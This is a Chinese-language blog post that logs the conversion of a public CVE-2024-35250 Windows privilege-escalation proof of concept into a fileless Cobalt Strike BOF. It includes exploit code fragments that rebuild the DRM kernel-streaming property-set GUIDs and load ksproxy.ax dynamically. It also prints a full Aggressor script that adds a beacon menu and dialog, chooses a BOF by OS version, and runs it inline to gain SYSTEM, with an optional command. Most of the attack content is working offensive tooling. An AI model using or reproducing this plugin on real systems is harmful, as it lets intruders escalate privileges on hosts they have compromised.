CVE-2024-35250 CS BOF提权插件开发记录

声明

本文版权归原作者所有,未经允许禁止转载。

前言

为了学习一下 CS 的 BOF 以及插件开发,尝试将 CVE-2024-35250 这个提权漏洞封装为一个基于 BOF 的插件,无需磁盘落地即可提权至 SYSTEM 权限,把开发过程简短地记录下来。

项目模板

我选择的是官方提供的基于 Visual Studio 的项目模板:

https://github.com/Cobalt-Strike/bof-vs

POC 转 BOF

了解 BOF 开发可以看这我之前文章:初探 Cobalt Strike BOF

POC:https://github.com/varwara/CVE-2024-35250

下载并将 CPP 以及头文件复制到 VS 项目中:

根据 CPP 文件调用的 Windows 改为 BOF 兼容的形式,新建 bofdefs.h,将相应的 Windows API 函数添加至头文件中,并附加一些方便输出与调试的宏定义:

替换完毕后发现编译后发现 CS 无法执行 BOF,会出现类似$LNXX 符号找不到,折腾后发现是由于生成的 obj 文件存在重复的 .text 段和 .rdata 段(同名段),导致 CS 在解析 BOF 符号函数或数据时始终在第一个段处寻找,调试后发现是由于 strmif.hksproxy.h 库中有些特殊的代码和数据,编译时会默认将这些代码段和数据分离到独立的段中,知道原因后,解决方法就是通过动态获取 ksproxy.h 的函数,避免让编译器链接这些符号。

HMODULE hKsProxy = LoadLibraryExW(L"ksproxy.ax", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
if (!hKsProxy) {
    print_error("Loadlibrary ksproxy.ax failed:", GetLastError());
    return;
}
typedef HRESULT(WINAPI* MyKsOpenDefaultDevice)(REFGUID Category, ACCESS_MASK Access, PHANDLE DeviceHandle);
MyKsOpenDefaultDevice _KsOpenDefaultDevice = (MyKsOpenDefaultDevice)GetProcAddress(hKsProxy, "KsOpenDefaultDevice");

然后去除这两个头文件: `

//#include <strmif.h>
//#include <ksproxy.h>

接着是特殊的数据,POC 的部分代码引用了 strmif.h 包含的特殊数据 GUID:

// ...
const GUID categories[] = {
    hKSCATEGORY_DRM_DESCRAMBLE,//KSCATEGORY_DRM_DESCRAMBLE,
};
 
// ...
 
pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
pInBufProperty->Id = 0x0;
 
 
pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
pSerialHdr->Count = 0x1;
 
pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
pSerial->Id = 0x0;
pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
pSerial->PropTypeSet.Flags = 0x0;
pSerial->PropTypeSet.Id = 0x45;
 
// ...

因此得把他们去除,尝试询问 GPT 以及查阅相关资料,利用 IIDFromString 函数即可:

// ...
GUID hKSCATEGORY_DRM_DESCRAMBLE;
IIDFromString(L"{FFBB6E3F-CCFE-4D84-90D9-421418B03A8E}", &hKSCATEGORY_DRM_DESCRAMBLE);
const GUID categories[] = {
    hKSCATEGORY_DRM_DESCRAMBLE,//KSCATEGORY_DRM_DESCRAMBLE,
};
 
// ...
GUID _KSPROPSETID_DrmAudioStream;
IIDFromString(L"{2F2C8DDD-4198-4fac-BA29-61BB05B7DE06}", &_KSPROPSETID_DrmAudioStream);
 
pInBufProperty->Set = _KSPROPSETID_DrmAudioStream;
pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
pInBufProperty->Id = 0x0;
 
 
pSerialHdr->PropertySet = _KSPROPSETID_DrmAudioStream;
pSerialHdr->Count = 0x1;
 
pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
pSerial->Id = 0x0;
pSerial->PropTypeSet.Set = _KSPROPSETID_DrmAudioStream;
pSerial->PropTypeSet.Flags = 0x0;
pSerial->PropTypeSet.Id = 0x45;
 
// ...

这样 BOF 就能够被 CS 正确解析,最后调整 POC 中的一些与系统版本相关的偏移,以便适配不同的版本系统,为相应的系统版本编译出不同的 BOF。

插件开发

插件比较难开发,主要不太熟悉,得仔细阅读官方文档以及其他师傅们的博客,尝试实践调试,才能开发出兼容且交互友好的插件。多亏了前辈师傅的博客:

https://www.henry-blog.life/henry-blog/readme/cna-cha-jian-kai-fa

看了这篇博客很容易上手插件开发,学习博客中的一些变量、条件,字符串比较,函数等一些原子语法,以及对话框的交互,数据传递等语法。

需要做一些 BOF 操作时可以多阅读官方文档:

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/agressor_script.htm

这里就贴出代码:

popup beacon_bottom { 
	item("CVE-2024-35250", { CVE_2024_35250_dialog($1['@']); });
}

# 结果处理
sub result {
	btask($1,"$2");
	if ($2 eq "[+] Done") {
		btask($1,"\c3[+] 请执行 getuid 查看提权是否成功");
	} else if ($2 eq "[-] DeviceIoControl failed") {
		btask($1,"\c7[-] 提权失败!");
	}
}

sub onclick_callback {
	CVE_2024_35250($3["bid"],$3["os_version"],$3["command"]);
}

# 提权
sub CVE_2024_35250 {
   $bid = $1;
   $bof = "";
   if ($2 eq "Windows Server 2012 R2") {
	 $bof = "bof/CVE-2024-35250-BOF-2012-R2.x64.o";
   }
   if ($2 eq "Windows Server 2016" || $2 eq "Windows 10 1507") {
	 $bof = "bof/CVE-2024-35250-BOF-2016+WIN10-1507.x64.o";
   }
   if ($2 eq "Windows 10 1903") {
	 $bof = "bof/CVE-2024-35250-BOF-WIN10-1903.x64.o";
   }
   if ($2 eq "Windows 10 2004" || $2 eq "Windows 11 22621") {
	 $bof = "bof/CVE-2024-35250-BOF-WIN10-2004+WIN11-22621.x64.o";
   }
   # 打开BOF文件
   $barch  = barch($1);
   $handle = openf(script_resource($bof));
   $data   = readb($handle, -1);
   closef($handle);
   
   # 执行BOF
   btask($bid, "\c2权限提升: \c2CVE-2024-35250");
   if ($3 eq "") {
      $args  = bof_pack($bid);
   } else {
      $args  = bof_pack($bid,"Z",$3);
   }
   beacon_inline_execute($bid, $data, "go", $args, &result);
}


sub CVE_2024_35250_dialog {
	$Dialog = dialog("CVE-2024-35250", %(bid => $1), &onclick_callback);
	dialog_description($Dialog, "利用 CVE-2024-35250 漏洞提权至SYSTEM,无需管理员权限,支持多个系统版本");
	drow_text($Dialog, "command", "命令 [可选, 无回显] "); 
	drow_combobox($Dialog,"os_version","系统版本",@("Windows Server 2012 R2","Windows Server 2016","Windows 10 1507","Windows 10 1903","Windows 10 2004","Windows 11 22621"));
	dbutton_action($Dialog, "提权");
	dialog_show($Dialog);
}

效果